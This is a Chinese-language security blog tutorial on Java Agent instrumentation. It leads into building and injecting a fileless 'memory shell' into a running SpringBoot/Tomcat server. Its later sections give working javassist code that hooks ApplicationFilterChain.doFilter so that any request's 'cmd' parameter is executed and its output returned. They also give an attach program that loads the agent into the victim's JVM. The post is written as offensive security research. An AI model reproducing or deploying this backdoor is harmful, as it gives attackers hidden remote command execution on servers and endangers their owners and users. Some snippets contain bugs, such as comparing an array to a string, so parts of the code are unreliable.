Java Agent简介
JDK1.5以后引入了 java.lang.instrument
包,该包常用于日志记录、性能监控、安全监察、诊断等场景,Java Agent可以在不影响正常编译的情况下来修改字节码
使用Java Agent需要编写一个代理类和一个代理配置文件(META-INF/MANIFEST.MF),并将其打包为一个JAR文件。然后,在启动Java应用程序时,通过-javaagent
参数指定代理JAR文件的路径,Java虚拟机(JVM)将会加载并运行代理
Java Agent也是一个Java类,普通类的入口函数通常是 main
方法,而Java Agent的入口函数为 premain
或 agentmain
方法
Java Agent支持两种加载方式:
premain
方法,在启动时加载agentmain
方法,在启动后加载
启动时加载
启动时加载agent,需要实现premain方法,还需要在jar文件清单中包含 Premain-Class
属性
编写一个实现premain方法的类
import java.lang.instrument.Instrumentation;
public class Agent_Premain {
public static void premain(String args,Instrumentation inst){
System.out.println(args);
System.out.println("Agent Premain执行...");
}
}
还需要编写 MANIFEST
JAR文件清单,这里保存为 Agent.MF
文件,文件最后需要有一行空行
Manifest-Version: 1.0
Premain-Class: Agent_Premain
编译Agent_Premain类为class文件
javac Agent_Premain.java
打包成jar文件
jar cvfm Agent.jar Agent.MF Agent_Premain.class
执行完后即可生成Agent.jar文件
再生成一个普通的类
public class Test {
public static void main(String[] args) {
System.out.println("Test main()...");
}
}
再写一个JAR文件清单
Manifest-Version: 1.0
Main-Class: Test
再进行编译和打包成JAR文件
javac Test.java
jar cvfm Test.jar Test.MF Test.class
我们运行Test.jar文件时,在前缀加上 -javaagent
参数加载 Agent.jar
,test1
为Agent.jar文件入口函数premain的参数
运行之后可以发现Agent.jar文件先被执行了
启动后加载
VirtualMachine
VirtualMachine类是Java虚拟机的一个抽象表示,它提供了与虚拟机相关的操作和属性的访问方法,主要用于与Java虚拟机进行交互和管理,通常用于开发调试工具和性能分析工具
该类我们主要会使用以下方法:
// 远程连接到指定PID的JVM
VirtualMachine.attach()
// 给JVM加载指定Agent
VirtualMachine.loadAgent()
// 获取所有的JVM列表
VirtualMachine.list()
// 关闭与JVM的连接
VirtualMachine.detach()
VirtualMachineDescriptor
VirtualMachineDescriptor类是描述Java虚拟机实例的信息的类,它提供了一些方法来获取虚拟机的标识、名称、虚拟机参数等信息
agentmain示例
import static java.lang.Thread.sleep;
public class VirtualMachine_Test {
public static void main(String[] args) throws InterruptedException {
while(true){
System.out.println("VirtualMachine_Test...");
sleep(5000);
}
}
}
编写一个普通类,用于模拟程序运行
import java.lang.instrument.Instrumentation;
import static java.lang.Thread.sleep;
public class VirtualMachine_Agent {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while(true){
System.out.println("Inject_Agent...");
sleep(3000);
}
}
}
Manifest-Version: 1.0
Agent-Class: VirtualMachine_Agent
javac VirtualMachine_Agent.java
jar cvfm VirtualMachine_Agent.jar VirtualMachine_Agent.MF VirtualMachine_Agent.class
编写实现agentmain方法的类,并配置JAR文件清单,生成class文件和生成JAR文件
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vm : list){
// 寻找指定名称的JVM
if (vm.displayName().equals("VirtualMachine_Test")) {
// 连接指定ID的JVM
VirtualMachine attach = VirtualMachine.attach(vm.id());
// 加载Agent
attach.loadAgent("/Users/wiley/IdeaProjects/JavaAgentMemShell/src/main/java/VirtualMachine_Agent.jar");
// 关闭JVM连接
attach.detach();
}
}
}
}
编写一个用于连接名称为 VirtualMachine_Test
的JVM,加载指定的Agent
当我们运行 VirtualMachine_Test
类后,再运行 Inject_Agent
类,可以发现我们的自定义Agent已经成功被加载
动态修改字节码
Instrumentation
Instrumentation是JVMTIAgent(JVM Tool Interface Agent),用于在运行时修改、监控和分析Java应用程序的字节码,它允许开发人员在应用程序启动之前或在运行时对字节码进行转换和增强
Instrumentation是一个接口,其主要方法如下:
// 添加一个Class文件的转换器,转换器用于改变Class二进制流的数据,第二个参数为是否允许重新转换
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void addTransformer(ClassFileTransformer transformer);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 重新定义Class
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断一个类是否可被修改
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
// 获取一个对象的大小
long getObjectSize(Object objectToSize);
ClassFileTransformer
public interface ClassFileTransformer {
byte[]
transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException;
}
ClassFileTransformer是一个接口,它只有一个 transform()
方法,该方法返回字节数组,用于在类加载期间对字节码进行转换,可以在类加载过程中修改类的字节码,以实现各种目的,如增加、删除或修改类的方法、字段等
addTransformer
addTransformer()
方法注册一个转换器,编写 ClassFileTransformer
接口自定义类注册自定义的转换器,在该转换器中加载恶意的代码,当类加载时,就会自动调用自定义的转换器的 transform
方法
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class DefineTransform implements ClassFileTransformer {
public static final String applicationFilterChain = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
if (className.equals(applicationFilterChain)){
try{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(applicationFilterChain);
CtMethod internalDoFilter = ctClass.getDeclaredMethod("internalDoFilter");
internalDoFilter.insertBefore("HttpServletRequest req = (HttpServletRequest) servletRequest;String cmd = req.getParameter(\"cmd\");if (cmd != null){Runtime.getRuntime().exec(cmd);}");
byte[] bytecode = ctClass.toBytecode();
ctClass.detach();
return bytecode;
}catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
getAllLoadedClasses
getAllLoadedClasses
方法可以列出所有已加载的Class
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class allLoadedClass : allLoadedClasses) {
System.out.println(allLoadedClass.getName());
}
retransformClasses
retransformClasses
方法可以对已加载的Class重新定义,若目标类已经加载,调用该函数可以重新触发转换器的拦截,对目标类重新定义
Class [] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
Agent内存马
这里我们准备的环境是SpringBoot,模拟在SpringBoot环境下,注入Agent内存马
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class DefineTransform implements ClassFileTransformer {
public static final String applicationFilterChain = "org.apache.catalina.core.ApplicationFilterChain";
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(applicationFilterChain)){
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("jakarta.servlet.http.HttpServletRequest req = request;\n" +
"jakarta.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = java.lang.Runtime.getRuntime().exec(cmd).getInputStream();" +
"\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
先写一个转换器,对 ApplicationFilterChain
类的 doFilter
方法进行添加恶意代码
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String applicationFilterChain = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new DefineTransform(),true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class allLoadedClass : allLoadedClasses) {
if (allLoadedClasses.equals(applicationFilterChain)) {
try {
inst.retransformClasses(new Class[]{allLoadedClass});
}catch (Exception e){
e.printStackTrace();
}
}
}
}
}
这里,我们就使用 agentmain
方法,用于启动后加载Agent场景,在该方法中主要是寻找我们修改的 ApplicationFilterChain
类,触发我们上面写的转换器 transform
方法
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain
编写一下 MANIFEST.MF
文件
将 tools
和 javassist
依赖一并打包
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
if (virtualMachineDescriptor.displayName().equals("org.studyspringboot.StudyspringbootApplication")) {
VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor.id());
attach.loadAgent("/Users/wiley/Desktop/AgentMain.jar");
attach.detach();
}
}
}
}
使用 VirtualMachine
来加载Agent,这个类主要是模拟将 AgentMain.jar
和 Inject_Agent
类文件上传到受害者服务端,运行 Inject_Agent
程序寻找SpringBoot的程序连接到该程序的JVM,进行加载恶意Agent
模拟环境中,启动SpringBoot为真实的受害者服务端,运行 Inject_Agent
程序来进行注入Agent,没有出现报错说明成功注入了
访问任意路径,加上cmd参数即可执行任意命令
Author: wileysec
Permalink: https://wileysec.github.io/c92b2696b98a.html
Comments